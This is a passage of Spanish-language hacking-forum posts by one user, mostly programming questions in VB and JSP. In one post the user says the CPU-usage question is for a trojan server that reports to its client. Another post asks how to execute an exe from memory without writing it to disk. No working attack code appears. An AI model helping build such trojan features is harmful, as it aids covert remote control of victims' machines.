    r = ShellExecuteEx(SEI) '<------- lo abre si,   pero no espera a que el bloc de notas se cierre


    ret = WaitForSingleObject(SEI.hwnd, INFINITE) '<---- aqui me parece que falta algo

    MsgBox "El archvo se cerro" '<--- pues este mensaje deberia salir despues de cerrar el bloc de notas
End Sub




#41
Lo que quiero es que este exe pueda ejecutarse desde la memoria y no desde el disco, se que puede faltar algo de logica pero quiza sea posible.

es decir:

Código (vb) [Seleccionar]
Open "c:\programa.exe" for binary as # 1
data=input(lof(1),1)
close #1


sabiendo que en la variable "data" tenemos todo el exe y en memoria, ¿hay alguna instruccion que pueda ejecutarlo?

algo asi como:

ShellExecute(data)


Un saludo.
#42
Java / Java: JDBC acceso a base de datos
17 Septiembre 2007, 20:30 PM
Hola a todos y desde ya gracias por su ayuda:
Mi intencion es saber mas de JSP con Base de Datos
El panorama es el siguiente: Tengo JAVA jdk1.6.0_02 y jre1.6.0_02, ademas tambien tengo instalado el TomCAT (la utlima version), todo esta bien creo yo, pues puedo ejecutar una pagina jsp normal, esa la del "hola mundo", lo que yo deseo ahora es acceder a una base de datos, y si es de SQL Server 7 mejor, pues esa es la version que ahora tengo corriendo en mi PC, lo intente creando un nombre DNS en el admisnitrador de windows ODBC, pero me salta este error:

No se encuentra el nombre del origen de datos y no se especificó ningún controlador predeterminado

el code que tengo para ello es:
Código (java) [Seleccionar]

<%@ page import="java.sql.*" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Date" %>
<%
Connection  conn = null;
Statement   stmt = null;
ResultSet   rset = null;
String COMANDO = "";

Class.forName("sun.jdbc.odbc.JdbcOdbcDriver").newInstance();



conn=DriverManager.getConnection("jdbc:odbc:mi_conexion","sa","");

stmt=conn.createStatement();

HttpSession miSession = request.getSession(true);

String sesion = (String) miSession.getValue("mi_sesion");

String login = (String) miSession.getValue("mi_login");

%>


alguien tiene algun manual o puede ayudarme en esto?

un saludo!
#43
Me preguntaba si se puede obtener el uso del CPU para mostrarlo en por ejemplo una ventana de basic, si se puede ¿como se hace?, hay alguna API para esto?,  mi intencion es que un servidor de un troyano advierta al cliente si el uso del cpu de la pc remota es demasiado alto, para que en ese caso se haga algunas tareas.

Un Saludo.
#44
una consulta a cerca del diseño del foro, se ah hecho alguna vez publico el archivo de estilo CSS del foro, lo que desearia es aplicar a mi foro SMF los mismos colores de foro.elhacker.net, alguien lo tiene o es estrictamente privado?

un saludo!
#45
me preguntaba si alguien sabe la forma de lograr un archivo de captura de pantalla de un solo tamaño, sucede que en un timer estoy capturando cada segundo un screenshot y como es muy cambiante el tamaño final depende de eso y de la calidad claro, 25kb, 28 o 35kb... habra alguna forma de lograr por ejemplo que todas las capturas sean de 25kb?